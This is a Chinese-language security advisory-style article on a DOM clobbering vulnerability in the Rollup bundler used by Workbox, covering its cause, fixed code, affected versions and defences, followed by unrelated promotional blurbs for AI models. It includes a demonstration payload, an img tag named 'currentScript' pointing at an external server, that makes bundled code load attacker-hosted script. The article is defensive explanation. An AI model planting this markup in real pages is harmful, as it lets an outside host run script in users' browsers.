Workbox项目中Rollup依赖的DOM安全问题分析与修复方案
问题背景
在Web开发领域,构建工具的安全性问题往往容易被开发者忽视。近期在Workbox项目依赖的Rollup构建工具中发现了一个值得警惕的安全问题——DOM干扰攻击向量。这种攻击方式通过HTML元素的命名属性干扰JavaScript的正常执行流程,可能导致严重的安全风险。
问题技术分析
DOM干扰攻击原理
DOM干扰是一种特殊的代码重用攻击技术。攻击者通过在网页中嵌入看似无害的非脚本HTML标记(如带有特定name或id属性的img标签),利用现有JavaScript代码中的"可被利用的代码片段"将其转化为可执行代码。这种攻击不需要直接注入JavaScript代码,因此能绕过许多传统的内容安全策略。
Rollup中的问题点
当使用Rollup打包使用import.meta.url的脚本,并输出为cjs/umd/iife格式时,Rollup会将meta属性替换为从document.currentScript获取的URL。问题在于,document.currentScript的查找过程可能被攻击者通过浏览器命名DOM树元素访问机制所劫持。
具体来说,Rollup在以下代码中存在安全隐患:
// 原始问题代码
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
s.src = (_documentCurrentScript && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)
攻击者只需在页面中插入一个带有name="currentScript"属性的HTML元素(如img标签),就能控制脚本加载行为。
攻击场景演示
假设开发者使用Rollup打包以下代码:
var s = document.createElement('script');
s.src = import.meta.url + 'extra.js';
document.head.append(s);
打包后的输出包含易受攻击的代码。如果攻击者能在页面中插入:
<img name="currentScript" src="https://外部服务器/">
这将导致浏览器从外部控制的服务器加载extra.js脚本,实现潜在攻击。
问题影响范围
该问题影响以下情况:
- 使用Rollup打包的项目
- 输出格式为cjs/iife/umd
- 代码中使用import.meta特性
- 页面允许用户注入特定HTML标签且未严格过滤name/id属性
修复方案
Rollup团队已发布修复版本,通过在获取currentScript时增加类型检查来防御DOM干扰攻击。修复后的关键代码如下:
// 修复后的安全代码
document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src
修复方案增加了对元素类型的严格验证,确保只有真正的SCRIPT元素才能提供src属性值。
升级建议
开发者应立即采取以下措施:
- 将Rollup升级至安全版本(v4.22.4+或v3.29.5+)
- 对于无法立即升级的项目,可使用npm audit fix或package.json中的overrides功能强制使用安全版本
- 审查项目中是否存在允许用户注入HTML标签的功能,并加强输入过滤
防御深度思考
除了升级Rollup外,开发者还应考虑以下防御措施:
- 实施严格的内容安全策略(CSP)
- 对所有用户提供的内容进行HTML净化处理
- 避免在关键安全逻辑中依赖可能被DOM干扰影响的全局对象
- 考虑使用Trusted Types等现代浏览器安全特性
这个案例再次提醒我们,构建工具链的安全性与应用代码安全同等重要,应当纳入常规的安全审计范围。
ERNIE-4.5-VL-28B-A3B-ThinkingERNIE-4.5-VL-28B-A3B-Thinking 是 ERNIE-4.5-VL-28B-A3B 架构的重大升级,通过中期大规模视觉-语言推理数据训练,显著提升了模型的表征能力和模态对齐,实现了多模态推理能力的突破性飞跃Python00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
MiniMax-M2MiniMax-M2是MiniMaxAI开源的高效MoE模型,2300亿总参数中仅激活100亿,却在编码和智能体任务上表现卓越。它支持多文件编辑、终端操作和复杂工具链调用Python00
HunyuanVideo-1.5HunyuanVideo-1.5作为一款轻量级视频生成模型,仅需83亿参数即可提供顶级画质,大幅降低使用门槛。该模型在消费级显卡上运行流畅,让每位开发者和创作者都能轻松使用。本代码库提供生成创意视频所需的实现方案与工具集。00
MiniCPM-V-4_5MiniCPM-V 4.5 是 MiniCPM-V 系列中最新且功能最强的模型。该模型基于 Qwen3-8B 和 SigLIP2-400M 构建,总参数量为 80 亿。与之前的 MiniCPM-V 和 MiniCPM-o 模型相比,它在性能上有显著提升,并引入了新的实用功能Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
GOT-OCR-2.0-hf阶跃星辰StepFun推出的GOT-OCR-2.0-hf是一款强大的多语言OCR开源模型,支持从普通文档到复杂场景的文字识别。它能精准处理表格、图表、数学公式、几何图形甚至乐谱等特殊内容,输出结果可通过第三方工具渲染成多种格式。模型支持1024×1024高分辨率输入,具备多页批量处理、动态分块识别和交互式区域选择等创新功能,用户可通过坐标或颜色指定识别区域。基于Apache 2.0协议开源,提供Hugging Face演示和完整代码,适用于学术研究到工业应用的广泛场景,为OCR领域带来突破性解决方案。00